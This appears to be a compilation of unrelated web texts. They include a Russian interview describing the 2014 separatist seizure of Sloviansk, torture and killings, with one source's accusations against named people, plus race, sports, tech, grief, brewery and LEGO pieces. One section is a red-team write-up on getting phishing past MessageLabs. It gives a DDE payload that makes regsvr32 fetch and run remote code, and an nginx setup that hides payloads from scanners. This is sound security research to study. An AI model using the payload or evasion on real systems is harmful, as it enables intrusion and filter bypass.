Я сосед его, знакомы 20 лет. Одно время он даже в деятельности нашего комитета начал принимать участие - ему казалось, что так можно заработать. А мы реально боролись с коррупцией. Прямо в центре города в 200 м. от горотдела закрыли зал игровых автоматов. Поиграли, засняли на видео, меченые купюры передали и вынудили милицию работать. А владел этим бизнесом богатый житель Артемовска - некий Вова Ушатый. Нардеп от ПР, которого сейчас распотрошили "ДНРовцы" - все его машины, коллекция майбахов и бентли, ушли в Россию по зеленому коридору.
Местный коммунист Анатолий Хмелевый - сейчас один из лидеров террористов в Славянске. Но он достаточно хитер и потому выставлял впереди себя Пономарева. Пономарев - никто, таких ГРУшники называют говорящими головами и эти головы можно отрубить в любое время. Его судьба предопределена.
- Где сейчас Пономарев?
- Видели, как он копал траншеи (в штрафбате у Гиркина. – Авт.). Проблема у него возникла из-за того, что среди "ДНРовцев" начал сеять раздор. Перед исчезновением у него возникло желание убежать. Он догадывался, что его могут убрать, что им не дорожат. Контактировал он с криминальным авторитетом Робертом, которого убили недели две назад. Убили, похоже, чеченцы – отрубили руку, прострелили грудь и перерезали горло, а жене сказали: "Если похоронишь в гробу, ляжешь рядом". Пришлось заплатить деньги, чтобы приехали родственники из Армении, забрали труп. Хотя Роберт "ДНРовцам" помогал - подкармливал блокпосты. А в немилость попал за то, что прятал кумовей. Он детей крестил в одной из цыганских семей, которые в Славянске торговали наркотой, а Роберт с этого не только имел, он же и кум. В общем, попытался одну семью укрыть и поплатился. Сепаратисты расстреляли эти цыганские семьи.
- Как произошел захват Славянска?
- Выглядело это как спектакль. 12 апреля на каком-то древнем "пазике" приехали к горотделу милиции зеленые человечки. Не наемники, а кадровые бойцы. Наемники - те постарше, подзаплывшие, а эти не качки, сухие, все одного роста - настоящий спецназ. Человек 15. Привязали трос к решетке на 1 этаже. Рядом пластиковая дверь – выламывай и заходи, к чему решетка на окне? Оторвался бампер, пришлось перевязывать, вырвали решетку наконец. Сразу крики: "Удача, крепость взята!". Вошли, выполнили работу, а алкаши и наркоманы следом подтянулись. Потом захватили здание СБУ. Этих русских называют "спецы", и там их оплот.
Перед захватом как раз и начальник нашей милиции ушел со своего поста - тоже понимал к чему идет.
- А как вышло, что Неля Штепа, которая в день захвата города назвала оккупантов "нашими ребятами", потом попала в плен?
- Изначально Штепа, как человек Близнюка и Азарова, была сторонницей России. До того как она стала мэром, бизнесменов кидала, создала фонд, отмывкой денег занималась. На должность мэра пришла с долгами в полмиллиона. Потом пошли откаты - на посту мэра все заказы на город от Близнюка приходили.
Думаю, россияне и Штепу тоже рассматривали на роль "народного мэра", но она оказалась умнее и осторожнее. После захвата милиции уехала в Артемовск на консультацию к городскому голове - человеку Клюева. 13 апреля Штепы не оказалось на месте, и провозгласил себя Пономарев.
А когда пароход под названием "семейка Азарова" начал тонуть, Неля стала говорить, что в Славянск пришли сотрудники ГРУ. После этого зачем-то поперлась в исполком к Пономареву (никто не знает зачем) и ее взяли в плен.
Неля сильно много знает. Сомневаюсь, что ее просто так отпустят. Хотя некоторые рассказывают сказки, что видели ее пьяную то в Изюме, то в Святогорске, она все еще в плену. Перед тем как Штепа давала интервью "Лайфньюз", с ней поработал визажист. У Нели вся голова была в шишках, на подбородке был большой синяк. Били ее сильно. И 9 мая она выступала на митинге под принуждением.
- Какая ситуация сейчас в Славянске?
- Все боятся говорить по телефону. В городе полно стукачей и провокаторов, ездят и уговаривают мамаш не выезжать, особенно медработниц. Им нужен живой щит...
Нашли мертвого с отрезанными гениталиями - русский так не сделает. Чеченов в Славянске много. Целый барак в районе музея краеведческого занимают. Во дворе этого интерната, где они живут, устроили себе бассейн, купаются. Приветствуют по-мусульмански, возможно – и осетины.
Сотрудников славянской милиции, прокуратуры, суда "Стрелок" отправляет рыть траншеи. Над ними издеваются, унижают, вымогают деньги. Они откупаются.
За бывшего мэра Славянска Валентина Рыбачука заплатили, по слухам, 10 миллионов выкупа. Он хозяин завода "СЗВИ", чиновником был при Януковиче (с 2006 по 2010 год Рыбачук был городским головой в Славянске, а пришел на эту должность с поста директора Славянского завода высоковольтных изоляторов. – Авт.).
Заместитель прокурора, которого "Стрелок" отправил рыть окопы, тоже не чист, через него шли коррупционные потоки. Приехал по поручению облпрокуратуры, по привычке нагловато вел себя и в результате получил в руки лопату.
Калмык - криминальный авторитет - развозит молоко по блокпостам на велосипеде. Народу нравится, что "Стрелок" поставил всех на место.
- А поддержка РФ и "ДНР" сейчас есть в Славянске?
- Там осталось не более 15-20% населения, около 20 - 30 тысяч людей. Поддержка "ДНР" и РФ есть среди тех, у кого сыновья взяли автоматы и за деньги пошли стоять на блокпостах. Их семьи будут их поддерживать и нести всякую ахинею.
Кстати, развозит деньги по блокпостам технический кандидат Азарова в 2012 году.
Есть там люди, которые не могут выехать, так как не за что, и есть часть мужского населения, которую тупо не выпускают.
В целом ситуация такая же, как и до референдума. До 30% населения пришли и проголосовали за "ДНР", остальные скорее против. Были 11 мая у нас такие деды, которые прошлись по школам и на бюллетенях написали "бандиты" и "фашисты". И это писали реальные участники войны, а не ряженые.
Разумные люди понимают все, а люди с промытыми мозгами – нет. И их тоже очень много. Это следствие полного отсутствия информации.
- А кто рулит в Славянске сейчас?
- Вот сбылась мечта Миши Кузнецова, бывшего следователя Славянского горотдела, которому все давали подзатыльники и он считал, что к нему несправедливы - теперь командует милицией "ДНР", перешел на сторону молодой республики. Ходит с ребятами в камуфляже по рынку и бесплатно отоваривается – никто автоматчику "нет" не скажет. Кстати, я еще за месяц предупреждал, что такое готовится - и милицию, и СБУ. Даже передал ту фразу, которая от Кузнецова проскальзывала: "Скоро я буду в Славянске всех назначать".
Сейчас Штепа и Пономарев в плену. А главный – конечно, Гиркин. Его называют "Стрелком". И население его уважает.
- За что же можно уважать террориста?
- На Донбассе центральной властью была допущена серьезная ошибка. Обещанной люстрации никто не увидел, а "Стрелок" и те, кого он привел – это профессионалы. С нашими СБУшниками я имел дело – они ни в какое сравнение не идут. "Стрелок" не меркантилен. Плохая идея или хорошая, но он служит ей. Его я не видел, но думаю, когда меня посадили в подвал, он где-то рядом был.
- За что вы оказались в плену и как вырвались?
- 30 апреля шел на встречу, подъехала машина, вышли два зеленых человечка, и отвезли в СБУ. Держали возле входа, проверили телефон, увидели номер Пономарева и минут через 15 он подъехал. Я говорю: "Слава, что вы чудите?". И тут он вдруг: "Это главный "Правый сектор" в Славянске!". Меня это поразило. Пусть мы не друзья, но отношений не портили. Может, у него и крыша поехала. Потому что многие его поступки, типа введение санкций против Обамы и Меркель, которым запретил въезд в Славянск, и крики, что он дойдет до Берлина - трудно объяснить. Последнее время начал чесать нос и вытирать губы, может – его угостили наркотой?
После такого приветствия Пономарева меня развернули лицом к стене, на глаза - бумажную прокладку, сверху скотч. Забинтовали плотно и руки назад. Скотч снять – это не наручники. Снять украинские наручники умеют многие. А скотч не снимешь. И сразу в подвал.
Там пытают. Целей две – получить удовольствие и снять тебя на камеру, ты должен рассказать что-то о хунте, о "Правом секторе" – этого требуют от всех. Думаю, они что-то употребляют - в течение ночи дважды говорили охраннику, что нужно подняться наверх. "Давай, там уже все готово, по-быстренькому". Человек уходил, а возвращался вприпрыжку, аж пританцовывая – с таким приподнятым настроением. Милиция иногда выбивает показания с целью, а тут – даже если уже человек сломан и говорит, что он ненавидит "Правый сектор", его продолжают избивать.
Охранник был из Одессы, имел явные криминальные черты, и я понял, что это мой шанс – надо говорить с ним по понятиям. Понимая, что это антагонист по отношению к геям - попросил его, когда надо было попить, чтобы дал мне отдельный стаканчик, и это его подкупило. Для них там - что гомосеки, что правосеки - одинаковое зло.
Мы ночью пообщались с ним. Оказался тезка – Вова. Как же он жалел, что в Одессе нет такого, как в Славянске… На следующий день меня вывели с завязанными глазами на улицу. Там стоял столик и стулья. Тот, кто вел допрос, спросил, кто я по национальности, ответил - украинец. "А в душе?" - был следующий вопрос. Рассказал, что молодость прожил в Москве - учился в институте инженеров транспорта. По разговору понял, что у Пономарева веса нет. Он стал спрашивать, чем мы занимались, я ответил: "Тем же, чем и вы - наркоторговцев гоняли, залы игровых автоматов закрывали. Только без крови". "ДНРвцы" на тот момент устроили давление на криминал. И этот "спец" меня решил отпустить. Я просил снять мне скотч с глаз, а он ответил: "Не надо, или это будет последнее, что ты увидишь".
- Кто разбомбил Славянск?
- Наша армия бомбит места скопления террористов, от этого вылетают окна в соседних домах, максимум. Разбомбили школу, в которой жили террористы. А что касается частного сектора, удаленного от блокпостов - это сепаратисты. Что видно и по удаленности от Карачуна, и по калибру миномета.
Вся улица Вавилова выехала, после того как 19 июня сепаратисты расстреляли из миномета улицу. Погибли женщина и ребенок. Люди видели, что стреляли со стороны железнодорожных путей, оттуда был дымок. А когда люди подбежали и стали оказывать помощь, вызывая 103, лупанули еще два раза подряд. После этого вся улица уехала из города.
Жену с детьми я отправил еще после первого попадания ко мне во двор. А с матерью выехал чудом только после второго попадания. Разбомбили не только мой дом, но и дома нескольких общественных активистов. Сначала думал, что у меня паранойя, но мой источник "успокоил" - сепараторы делают это целенаправленно. Стреляли по всем домам, где прописаны славянские активисты. Бомбят людей, чтобы их обозлить против украинской армии.
На фото: То, что осталось от дома семьи Панибратченко
И есть люди, в чьих обязанностях – убеждать жителей, что это стреляет армия. Подъезжают к местам обстрелов на мопедах и велосипедах и начинают: "Я видел, стреляли с Карачуна, украинская хунта". И если кто-то возражает, начинаются угрозы.
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I looked at the menu at the hotel restaurant trying to figure out what to eat for dinner.
I arrived in Narrabeen, Australia about 48 hours earlier, and after a few bad “I’ve narra been” to this place before” jokes, everything was going good.
Except for this decision….
What do you eat before an evening race? I haven’t run an evening race…maybe…ever?
I thought about the race again.
Up until the day prior, I thought it was a 5k loop. Just run it as many times as you can. Easy enough.
What I found out the next morning was that it was a 5k distance, but it was an out and back.
This meant that it was going to be a 2.5k out and 2.5k back. That’s about a mile and a half – each way – as many times as you can for 12 hours.
Still simple enough, but way more repetitive. Instead of seeing the same tree 15 times, I was going to see it 30.
That changed things….oh well.. not much I could do either way!
Back to the menu…
I’m used to 4:30am wake up calls, eating a few eggs, and slurping a shake before heading out to 6am start times.
But…what do you do for evening races? I didn’t quite know and didn’t have access to eggs or a protein shake, so I ordered a burger, ate half of it and hoped it wouldn’t be coming up later 🙂
Then, we headed to the race start, about a half mile from the hotel.
It was a small group – 30ish all-night runners and a half-dozen people signed up for the “last marathon of 2016”.
The trail started at the row club, ran through a 50m trail with people camped on either side and then disappeared into woods as you crossed the bridge.
The start line was a bunch of people squeezing their way to the line around a bunch of picnic tables and then shuffling through camp before breaking out into strides as they hit the woods.
My plan was to keep 9:30/10 minute miles through the marathon pace / 50k and then see where the race took me from there.
My plan was on track right up until the marathon mark, but right close to 40k, I had the worst kind of deja vu.
Running up-hill, my footing slipped and my left ankle rolled…
…The same ankle that I tore up pretty bad 2 years ago by doing the same thing in Patagonia.
oh sheet
I stepped on it gingerly, hoping it wasn’t bad. Being extra cautious, I walked for a half-mile to see how it would go and how it held my weight.
After checking it out, I breathed a sigh of relief.
Luckily, it wasn’t anything bad. After the short walk, I picked my pace back up and kept at it. Still cautious but no injury. whew
At 12am, 6 hours into the race, I pulled into the main camp and hung out for a couple minutes. I stretched and waited until the clock turned to 12. I toasted champagne for the new year and then went right back out.
No crazy celebrations. No crowds. No fireworks.
Just a bunch of crazy Aussies out on their limit and an American who thought it was a good idea to join ‘em.
The next 4 hours were a bit of a slog, and I don’t remember anything memorable from them.
Part of that was it being hours 6-10 of a 12 hour race. Part of it was that it was night, pitch black, and with only 35 runners in the race, you could run for a whole mile without running into someone or seeing much of anything. I started to get familiar with people’s faces and bibs, as they were about the only thing to pay attention to keep my mind focused and alert through the night.
I did run into a snake at one point (“I hate snakes, why did it have to be snakes?!”) and had a stare down with a possum that ended in a truce and a promise to return to duel at a later date. Overhead, the birds screeched out and continued to laugh at the strange humans running back & forth over the same piece of earth relentlessly.
At 2am, the birds went to sleep and the only sounds were my own footsteps and the breathing of people you passed or who passed you on the trail. It got darker and darker until your headlamp was the only source of light anywhere.
At about 4:30am, pitch black turned to normal darkness, and at 5, it started to lighten up.
1 hour left.
I made it another lap and a half after that and rolled back into the main camp around 5:36am. At this point, my run was a mix of mostly power-hiking, walking and a shuffle that didn’t much resemble proper running form at all.
My hips were locking up, and I could feel the blisters that had built up on my feet popping. The fruits of an ultra 🙂
As I rolled into the camp, I was welcomed with a cheer by a grand total of 8 or so people that were happier than they should have been for the amount of sleep they probably got.
While the race was 12 hours, they were pulling people off the course if you couldn’t make it to the next timing mat before the 12 hour mark, so I was done for the day.
12 hours. Or 11:36 if you will 🙂
Rough.
Overall, my legs actually felt pretty good. It was my hips that had locked up and caused me most of my problems. Historically, that hasn’t always been an issue for me, so I’m planning on working on that quite a bit.
I ended up covering 68.5km by the end of the night. Nothing terribly impressive, but I was happy to be back out on the trail.
While I didn’t get “hurt” on this race, I did slow down after I rolled my ankle. This was more out of concern for repeating a terrible mistake and being focused more on finishing than getting a killer distance.
I have a lot of races coming up, and I didn’t want to put any of them in jeopardy because I pushed too hard.
The hard part of this has been balancing the challenge of the individual races along with the overall challenge of the entire project. With Antarctica coming up and not being much of a flexible trip (it’s an organized trip, and travel in Antarctica is entirely dependent on weather), I didn’t have a margin of error to mess around, so while I think I probably could have gone a bit farther if this race was being run in isolation, given the circumstances and events coming up – I’m glad I did what I did.
All that said, it’s good to be able to say:
Race #3 – Australia – is in the books!
IMPOSSIBLE
777 STATUS
As of today, the current progress of the #777project looks like this:
3 Races Down – North America / South America / Australia
4 Races To Go – Antarctica / Asia / Europe / Africa
538 Donations Made
4.5 Schools Built
$112,726 Raised
And we’re still going strong.
Antarctica is up next.
If you’d like to contribute to 777, you can do that right here.
p.s. I’m still doubling donations up to $50,000. If you’d like to double your impact, it just takes a few clicks 😉
p.p.s. If you’d like to do your own challenge in support of 777 and raise funds, we’ve had readers raise over $2,500 by doing just that. Shoot me an email and we’ll chat.
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(Image: GETTY)
The £50m rated Van Dijk – also wanted by French giants Paris St Germain - was expected to quit St Mary’s this summer.
But Saints are now increasingly confident they can keep their star man for at least another year following his appointment as captain, 25.
After handing centre back Van Dijk the armband following Jose Fonte’s departure to West Ham last month, Saints sought assurances he was committed to the south coast.
(Image: GETTY) (Image: GETTY)
A source said: “When Virgil took the captaincy it was on the understanding he would lead the team until the end of next season as a minimum.
“He has a long-term contract and is settled at the club.”
Van Dijk has earned a string of admirers with his stellar performances since joining Saints from Celtic in September 2005 in a £13m deal.
The towering Dutchman signed a bumper new six-year contract in May last year, which Saints insist has no release clause.
Van Dijk is currently sidelined with an ankle injury, meaning veteran Northern Ireland midfielder will skipper the side for their EFL Cup final with Manchester United at the end of the month.
Retaining can Dijk would be a major statement from the Southampton board following a string of big-name departures in recent summers.
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ATLANTA -- In a back-and-forth contest that left most players gasping for air as they walked off the court after the final buzzer, NC State proved to have the most endurance with a 67-64 win in the second round of the ACC tournament.
Both teams seemed to counter each other at every turn for most of the game. Baskets were traded between the two all the way to the end.
Free throws late and some tight defense around the perimeter kept NC State's lead intact.
Turning point: NC State kept its lead throughout the entire second half, but watched as Virginia slowly crept closer. It wasn't until C.J. Leslie grabbed a rebound from Virginia forward Mike Scott's missed hook shot with 37 seconds remaining that the Wolfpack had enough security to force the Cavs to foul.
Key player: Leslie's team-high 19 points and 14 rebounds made him the hardest-working player on the floor Friday. He was 5-for-5 from the floor in the first half. He also finished with 3 assists, 1 steal and 1 block.
Key stat: NC State didn't hurt itself by taking bad shots. The Wolfpack ended the game shooting 54 percent, hitting 27 of 50 shots.
Miscellaneous: When NC State won the 1983 ACC tournament in Atlanta, it did so by defeating Virginia 81-78 in the title game. ... Wolfpack forward Scott Wood has made a 3 in an ACC-best 29 consecutive games. He hit two Friday. ... Virginia entered the game with the ACC's No. 1 scoring defense (53.2), but NC State surpassed that mark with 7:35 remaining in the second half. ... NC State is 81-58 all time versus the Cavaliers. The Wolfpack also owns a 13-2 record against Virginia in the ACC tournament. ... A Virginia win would have put the Cavaliers in the ACC semifinals for the first time since 1995. They are on the longest semifinal drought in the conference.
What’s next: Virginia was all but locked into the NCAA tournament before Friday's game, so the Cavaliers' loss shouldn't keep them from dancing. With the win, NC State might have played its way right into the NCAA tournament. The Wolfpack were on the bubble heading into the ACC tournament, but back-to-back wins might be enough to send them to the Big Dance.
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So we heard only a week ago that Windows Phone 7 would support USB tethering and carriers would be (somehow) prohibited from charging extra for the feature. Then a few days ago we heard that it was up to the carriers to included it, though we presumed if they did, it still had to come gratis.
Now, Microsoft has said to Engadget in no uncertain terms that there is no tethering at all on Windows Phone 7. None at all? Some may argue that tethering is one of these features that most people don’t care about — but I think it’s just too difficult for your average user, and no one has sufficiently dumbed it down, probably because it would lead too all kinds of bandwidth issues.
As Engadget suggests, it’s entirely possible that this is just one of those features that was frozen out of the initial release; I’ve heard that quite a few things will need to be addressed right off the bat. Still, it’s a bit disappointing; while Microsoft may have a strategy in mind that is simply hidden from view, it may look to some as if they’re shipping an incomplete product.
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“Death is not the greatest loss in life. The greatest loss is what dies inside us while we live.” ~Norman Cousins
“Come here and take Dora out to get some milk.”
With those simple words, I knew my father’s time was short. Not a man to ask for help, I knew that milk was just an excuse to get me to come to his side.
My father was a gruff, angry, bitter man who had sealed himself off from nearly everyone. I spoke with him at 7:00 am every Saturday morning for fifteen years. In those conversations he complained about nearly every human interaction he had experienced in the space between my calls.
I rarely missed a call and usually alerted him if I knew I would not be able to call him at the designated hour. Nonetheless, he was blunt about his annoyance if 7:00 am passed without a call, and I heard about it loud and clear.
But, even though I lived only thirty minutes away and my calls were obviously important to him in some way, I actually saw him only about once each year. That was the way he wanted it.
That February morning when I arrived at his apartment, I was shocked by what I saw. Dad gasped for air and he was thin, so thin that I could easily make out the knobs of his knees under the jeans that gaped at his waist.
A walker I didn’t know he needed was parked beside his chair. A wheelchair borrowed from a loan closet was folded beside the front door. I had no idea that my father was so ill, and obviously had been very ill for a long time.
He didn’t protest when I told him I was calling 911.
At the hospital, he yielded to the efficient care of the attending ER physician. He didn’t like it but he yielded, eyeing the doctor with suspicion.
Dora, my father’s companion of more than twenty years, fretted that people die in hospitals, and she wanted him to come home to their apartment before something awful happened to him.
Hadn’t something awful already happened? Didn’t it happen a long, long time ago?
By all accounts, Dad was a sweet child, a devoted son and brother, an irreverent jokester. But, his marriage to my mother was loud, tense, and turbulent because of her mental illness and his dependence on alcohol.
Nonetheless, when she died three decades ago, he took her death very hard and really never recovered.
Long before he entered the hospital that day, from childhood through adulthood and into his later years, my father died bit by bit. He lost his sweetness. He grew hard and mean and he drew high walls around Dora and himself.
For a time, Dad and Dora had a dog. When the little Cairn terrier died, they closed in even tighter, virtually never leaving their apartment except to venture to the grocery story less than one mile away.
During the week between his arrival at the hospital and his return home to his apartment under hospice care, I learned a lifetime of lessons from my father.
At the time, I was grieving the end of my own thirty-five year marriage and I was suffering. I had resolved some time before never to become bitter or angry at my husband or at life, but watching my father approach death as someone already dead truly taught me that lacking bitterness and anger was not enough. It was time for me to live.
What were those lessons that taught me to live?
Lesson 1: Become aware without judgment.
Don’t let your opinions get in the way of being aware. I had not been able to see my father clearly because I judged him for how he lived and how he treated others. Judging him for that did not change him. But, in letting go of my judgment of him, I did change myself.
Lesson 2: Release expectations.
Unfulfilled expectations lead to disappointment. When you release your expectations, you become open to options. In a sense, your world broadens and you invite possibilities that otherwise might not exist.
I watched my father’s world grow smaller as he experienced disappoint throughout his life. In having specific expectations, he missed many of life’s opportunities. Likewise, when I released my expectations about him, I found myself much more comfortable in his presence and far more patient with his actions.
Lesson 3: Let the light in.
As hard as it may be to throw open the curtains and let the sun shine in, just do it. Look for the good. Surround yourself with positive people. Pursue activities that you enjoy.
My father rejected the very things that could have let the light in for him. He ended relationships. He stopped going out into the world. He kept the walls up and people out.
In my own way, I had done some of the same things. As my marriage frayed, I had hunkered down declining to participate in my own life. When I realized that, I began to reach out to my friends and family. I picked up my camera and took myself to my favorite photography spots. It was hard when I started; it got easier.
Lesson 4: Fall in love with who you are. Right now.
Don’t wait until you lose ten pounds, finish your degree, learn a second language, climb Mt. Everest, or even finish your morning coffee. Commit to loving yourself as you are right now. My father had complicated views about himself and others. I suspect he didn’t like himself much. I doubt that he ever gave much thought to whether he loved himself.
As his life was winding down and my marriage was ending, an interesting thing happened. At that improbable time, I chose to love myself.
I committed to treating myself kindly and gently. I allowed myself to become aware without judgment. I released myself from unreasonable expectations I had about how I should be. I gave myself the freedom to be positive and enjoy.
In that week, I came to see my father for exactly who he was and to love him fiercely despite the angry face he showed the world. I also came to lovingly acknowledge that in a short time I would be letting go of him as well as my marriage.
On the other side of that acknowledgment I knew I would find my new life and I would thrive.
Photo by rettenberg
About Monica Lane Monica Lane is a pediatric physical therapist and lifelong learner. She is the mother of four, grandmother of two, and girlfriend of one terrific guy. Two years ago, she picked up a camera and discovered the bliss of a day lost in pursuit of a powerful photo.
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TTP: Bypassing Symantec Email Security.cloud (MessageLabs) MessageLabs TTP
Overview
During a recent Attack Simulation against a high-profile client, Beyond Binary faced off against Symantec Email Security.cloud (formerly MessageLabs ) whilst conducting a variety of phishing campaigns. This was not the first time we had come up against cloud-based email security services, however our usual approaches to bypassing them didn't yield any fruit. Symantec was doing a relatively good job of stopping our phishes from making it to the end-user. As a result, we had to put some time into coming up with a way of getting around the filter.
This short article contains detail on how the MessageLabs filtering was bypassed. We hope you find it useful.
First of all, Payloads!
To simulate different attacks we wanted to utilise a number of different payloads, and the first one that was tried was a simple CSV file that contained a well-known DDE attack vector to gain code execution. The aim was to invoke a custom payload, bypassing application whitelisting, resulting in active sessions on the target. The method we decided to go with in this instance was the (ab)use of regsvr32 , a method researched and documented by Casey Smith. The required Scriptlet definition was hosted on several redirector servers within our C2 infrastructure.
The DDE entry inside the CSV file looked like this:
=regsvr32|' /s /u /i:https://some.redirector.com/p/toteslegit.txt scrobj.dll'!A0
Here we can see that regsvr32 is the application that is being invoked, and the parameters passed to the invocation include a reference to the Scriptlet that is hosted externally. Note that the scriptlet does not need to have the .sct file extension, and hence our payloads contained an extention that was a little more innocuous.
The first few emails that were sent out to the target didn't appear to land in any inboxes within the organisation, implying that MessageLabs was filtering it out. So what was it about our payload that was causing the emails to be caught?
MessageLabs' Email Parsing Behaviour
The first step in uncovering the behaviour of MessageLabs was to set up a simple email without any attachments. This email contained a link to an external site controlled by Beyond Binary, and the aim was to determine if MessageLabs was validating links by navigating to them behind the scenes. The email was sent to an email address that didn't exist (to avoid users receiving useless emails), but MessageLabs still parsed the email. As expected, the link provided in the body of the email was validated and we were able to see the MessageLabs spider reach out to the web server and retrieve the content of the referenced URL. The email bounced, proving that the email was passed through to the client.
From here, the team took the step to re-add the attachment, but only include a link rather than the full DDE payload. The link was validated, and the email bounced again. We then found that adding the full DDE payload back into the attachment (with a URL that didn't contain a Scriptlet) yielded the same result. At this point we knew that URLs in attachments are followed, and that MessageLabs doesn't care about the DDE payload itself. On the surface, it looked like the body of the Scriptlet that was hosted on the external server is what caused the filter to kick in and block the email source. To summarise what we found:
MessageLabs would open the email and follow all links in the body and in the attachments.
If any external URLs, referenced in the body or attachments, contained "malicious" content then the email was blocked.
If the content was deemed "clean", then the email would be sent to the client.
Some other interesting behaviour was noted:
Hits on external webservers were not coming from IP ranges owned by MessageLabs. This led us to believe that they were using a data centre ISP solution such as Equinix Connect in an effort to blend in with normal traffic.
After sending the email, the hits on the web servers came almost immediately from MessageLabs. This made it simple to enumerate any IP addresses that were being utilised.
Subsequent emails containing the same attachment (same checksum) would not be scanned if sent within a given timeframe. The exact time frame was not important and so no time was spent attempting to discover it.
The Bypass Technique
To help in understanding the set up, the following image shows a sample attack infrastructure configuration that can be used as part of an Attack Simulation engagement. Infrastructure does vary from client to client, however this overview shows an approach that can fit various scenarios.
At Beyond Binary, we utilise Nginx to serve as a web front-end for redirectors and C2 infrastructure. This serves a number of purposes:
Redirecting traffic with Nginx is trivial and easy to configure based on a number of properties. Our C2 infrstructure (MSF / Empire / $OTHER) can run as unprivileged users on non-standard ports, and Nginx handles the Internet-facing traffic and management of privileged ports. Nginx then routes relevant traffic to the C2 components behind the scenes.
Legitimate web pages can be hosted directly via Nginx, and rendered by default. This helps portray the host as a valid webserver in an effort to distract any Blue Team investigations.
With Nginx already in place for the above reasons, it made sense to make use of it to help deal with the MessageLabs problem. Now that we understood what was going on with the filtering and URL validation mechanism, we were able to devise a fairly simple solution:
Determine a set of IP addresses that match the client infrastructure.
Any traffic hitting the redirectors from IP addresses that are not part of that address range can be considered as unintended traffic.
Requests to malicious Scriptlet URLs from outside the client IP range were redirected to harmless web pages.
Client requests are handled normally, and the payload is served as intended.
The following snippet of code is the relevant section of the Nginx configuration file that demonstrates how IP-based filtering can be used to redirect unwanted requests away from payloads that are intended for the client:
server { # The usual server configuration stuff ... snip ... # Match the location URL wih that specified in the CSV location ~ "^/p/(.*)" { error_page 403 @badip; # Redirector to @badip if disallowed allow 172.16.0.0/16; # IP Netblock of the client network allow xxx.xxx.xxx.xxx/yy; # IP Netblock of any other network you want deny all; # Block everyone else proxy_pass http://1.1.1.1/p/$1; # Redirect to the actual payload if ok } # Psuedo location that is invoked when the above locaton block results in a # 403 Forbidden location @badip { # Redirect them to something that looks legit return 301 $scheme://attackerdomain.com/index.html; } ... snip ... }
With this configuration in place, the following behaviour was observed during the rest of the phishing campaigns:
MessageLabs would request the Scriptlet URLs baked into the CSV attachments.
The requests would be from various IP addresses from all over the Internet, however none were within the client network.
The 301 redirect resulted in the MessageLabs spider making a second request to the location given in the configuration.
In many cases the second request for the page that was returned with the 301 redirect was made from a different IP address. This is a great indication that requests are being made by automated systems instead of normal people.
Conclusion
With a little bit of analysis, and simple use of well-known tools, it is trivial to bypass cloud-based email filtering mechanisms such as MessageLabs. In some ways, it's even helpful to have tools like MessageLabs in place as they can be used as an "email delivery oracle" that indicates whether or not emails are accepted.
This post was written by @AusJock. However, please direct any questions, queries, doubtful points or death threats to @TheColonial, he’ll be more than happy to accommodate.
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Nearly 20 percent of the U.S. population will have a disability during their lifetime, which can make it hard for them to access and interact with technology, and limits the opportunity that technology can bring. That’s why it’s so important to build tools to make technology accessible to everyone—from people with visual impairments who need screen readers or larger text, to people with motor restrictions that prevent them from interacting with a touch screen, to people with hearing impairments who cannot hear their device’s sounds. Here are some updates we’ve made recently to make our technology more accessible:
A tool to help develop accessible apps
Accessibility Scanner is a new tool for Android that lets developers test their own apps and receive suggestions on ways to enhance accessibility. For example, the tool might recommend enlarging small buttons, increasing the contrast between text and its background and more.
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If you like posters, LEGO Brand Stores is giving away some free The LEGO Movie 2 character posters courtesy of Warner Bros. No purchase is needed and they are free if you ask an employee, while supplies last. I believe there are four or five but I only managed to grab three. The ones I got are Batman, Benny, and Emmet and I know there’s a Unikitty/Warrior Kitty one and possibly a Lucy/Wyldstyle one. The 24×36 posters are double-sided with one side featuring the characters from the first LEGO Movie and the other side showing their new look from the sequel. Again, there’s no catch to get them, just ask and you shall receive.
2+
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Beer fermenters, kegs, pumps, brewhouse equipment and a great tasting beer are only some of the ingredients in creating a successful brewery. There are plenty of other key factors brewers and brew masters need to be aware of before tapping into the beer business and opening a brewery of their own.
We dug deeper into those factors and analyzed data from hundreds of cities across the country to find the best cities to open a brewery. Our analysis includes everything from annual license fees and self-distribution laws to breweries per capita and median income. The list below highlights cities that provide the greatest potential for aspiring brewery owners.
Craft beer’s popularity has skyrocketed throughout the past decade, which means the opportunity is ripe to start a brewery. According to the Brewers Association, the number of craft breweries in the U.S. has grown from just under 1,500 in 2007 to more than 7,000 as of July 2018. Considering those numbers, there’s a good chance that a brewery isn’t too far from where you live, especially if you’re a Coloradoan. Our list of the top 30 cities to open a brewery features five Colorado cities, four of which have at least 6 or more breweries per 50,000 people.
It’s interesting to note that large metropolitan cities are scarce on our list. In fact, only five cities on our list have a population of 500,000 or more. Many small cities such as Royal Oak, Michigan; Bend, Oregon and Longmont, Colorado top our list. Speaking of Colorado and Oregon, both states make the most appearances on the top 30 list. There are six cities representing Colorado and four representing Oregon.
With a population of less than 100,000 people, the small but densely-populated city of Somerville, Massachusetts tops our list with an overall score of 91.2. The city has the highest percent of 21+ population on the list as well as a low state excise tax on barrels of beer along with one of the lowest brewery license fees in the country.
If craft beer’s popularity continues to grow it will be interesting to see what cities hold onto their rank and what newcomers emerge.
Methodology
To determine our ranking, we looked at census-defined places with at least 50,000 people in the 2017 5-Year U.S. Census’ American Community Survey. We compared these cities across two key categories, “Business Environment” and “Business Costs.”
Within those categories, we measured six different metrics, which are listed below along with their corresponding weights. Each metric was graded on a 100-point scale. Data for metrics with an asterisk (*) were only available on the state level.
To determine an overall score, each city’s weighted average was calculated across all metrics.
Business Environment - 50 Points
Percent of population age 21 or over: 12.5 points
Number of breweries per 50,000 people: 12.5 points
Self-distribution* (If state allows breweries to self-distribute): 12.5 points
Median income: 12.5 points
Business Costs - 50 Points
State excise tax per barrel*: 25 points
Brewery license cost*: 25 points
Why state excise tax was included within rankings: According to the Beer Institute, a national trade association for the American brewing industry, “Taxes are the single most expensive ingredient in beer, costing more than the labor and raw materials combined.” Research has shown that approximately 40 percent of the retail price of beer is dedicated toward covering all applicable taxes. State excise tax was analyzed from the Brewers Association and based on microbreweries that are classified as selling less than 15,000 barrels per year.
Outliers: In order to consider oversaturation within the market, cities with more than 10 breweries per capita were calculated as outliers and therefore given a lesser grade.
Sources: U.S. Census Bureau, Brewers Association, Beer Institute, BreweryDB.com
For media inquiries, contact media@digitalthirdcoast.net
Fair Use
Feel free to use this data and research with proper attribution linking to this study.
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I think we can all agree that general chat in MMOs is usually not super great. Now imagine if those spam-slinging all-caps jerkholes could also force everyone to download computer viruses via that chat window.
